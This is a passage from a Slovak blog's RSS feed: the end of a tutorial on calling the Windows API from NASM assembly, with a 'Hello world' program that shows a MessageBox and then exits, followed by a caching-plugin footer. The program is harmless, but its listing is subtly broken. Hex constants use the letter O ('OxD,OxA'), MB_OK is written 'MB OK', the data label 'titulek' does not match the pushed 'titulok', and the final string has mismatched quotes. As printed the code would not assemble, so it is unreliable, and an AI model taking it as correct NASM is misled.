Na zásobník uložíme parametre inštrukciami PUSH, požadovanú funkciu zavoláme nepriamo inštrukciou CALL, o vymazanie zásobníka sa nemusíme starať. Celý program bude vyzerať nasledovne (pro prekladac NASM):</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">%</span> <span style="color: #000000; font-weight: bold;">include</span> <span style="color: #7f007f;">&quot;win32n.inc&quot;</span> <span style="color: #666666; font-style: italic;">; vložíme súbor win32n.inc </span>
<span style="color: #000000; font-weight: bold;">EXTERN</span> MessageBox <span style="color: #666666; font-style: italic;">; symbol MessageBox je definovaný inde</span>
IMPORT MessageBox user32<span style="color: #339933;">.</span>dll <span style="color: #666666; font-style: italic;">; konkrétne v user32.dll </span>
<span style="color: #000000; font-weight: bold;">EXTERN</span> ExitProcess  <span style="color: #666666; font-style: italic;">; symbol ExitProcess je definovaný inde </span>
IMPORT ExitProcess kernel32<span style="color: #339933;">.</span>dll <span style="color: #666666; font-style: italic;">; konkrétne v kernel32.dll </span>
&nbsp;
SECTION <span style="color: #000000; font-weight: bold;">CODE</span> <span style="color: #000000; font-weight: bold;">USE32</span> CLASS = <span style="color: #000000; font-weight: bold;">CODE</span> <span style="color: #666666; font-style: italic;">; začiatok kódovej sekcie </span>
<span style="color: #339933;">.</span>start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; špeciálne návestie pre linker, ktoré označuje vstupný bod programu z (entrypointu) </span>
<span style="color: #00007f; font-weight: bold;">push</span> UINT MB OK <span style="color: #666666; font-style: italic;">; na zásobník uložíme posledný parameter, dialógové okno bude mať len tlačidlo OK </span>
<span style="color: #00007f; font-weight: bold;">push</span> LPCTSTR titulok <span style="color: #666666; font-style: italic;">; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako titulok okna </span>
<span style="color: #00007f; font-weight: bold;">push</span> LPCTSTR napis <span style="color: #666666; font-style: italic;">; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako text okna </span>
<span style="color: #00007f; font-weight: bold;">push</span> HWND NULL <span style="color: #666666; font-style: italic;">; na zásobník uložíme nulu, žiadne nadradené okno nemáme </span>
<span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #009900; font-weight: bold;">&#91;</span>MessageBox<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; zavoláme API - vytvoríme dialógové okno návrat až po stlačení tlačidla OK</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">push</span>  UINT NULL                                     <span style="color: #666666; font-style: italic;">;vrátime  rodičovi  nulový  chybový  kód</span>
<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #009900; font-weight: bold;">&#91;</span>ExitProcess<span style="color: #009900; font-weight: bold;">&#93;</span>                                  <span style="color: #666666; font-style: italic;">;ukončíme proces</span>
&nbsp;
SECTION  <span style="color: #000000; font-weight: bold;">DATA</span>  <span style="color: #000000; font-weight: bold;">USE32</span>   CLASS=<span style="color: #000000; font-weight: bold;">DATA</span>
&nbsp;
napis  <span style="color: #000000; font-weight: bold;">db</span>   <span style="color: #7f007f;">'Hello  world'</span><span style="color: #339933;">,</span>OxD<span style="color: #339933;">,</span>OxA<span style="color: #339933;">,</span><span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">;reťazec Hello,   World! vrátane odriadkovania </span>
titulek  <span style="color: #000000; font-weight: bold;">db</span>   <span style="color: #7f007f;">'Hello&quot;, 0                                  ;titulok okna  bude  hello</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-win-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Page Caching using memcached (user agent is rejected)
Database Caching 14/55 queries in 0.036 seconds using memcached
Object Caching 593/663 objects using memcached
Content Delivery Network via N/A

Served from: www.bloog.sk @ 2012-02-08 21:57:02 -->
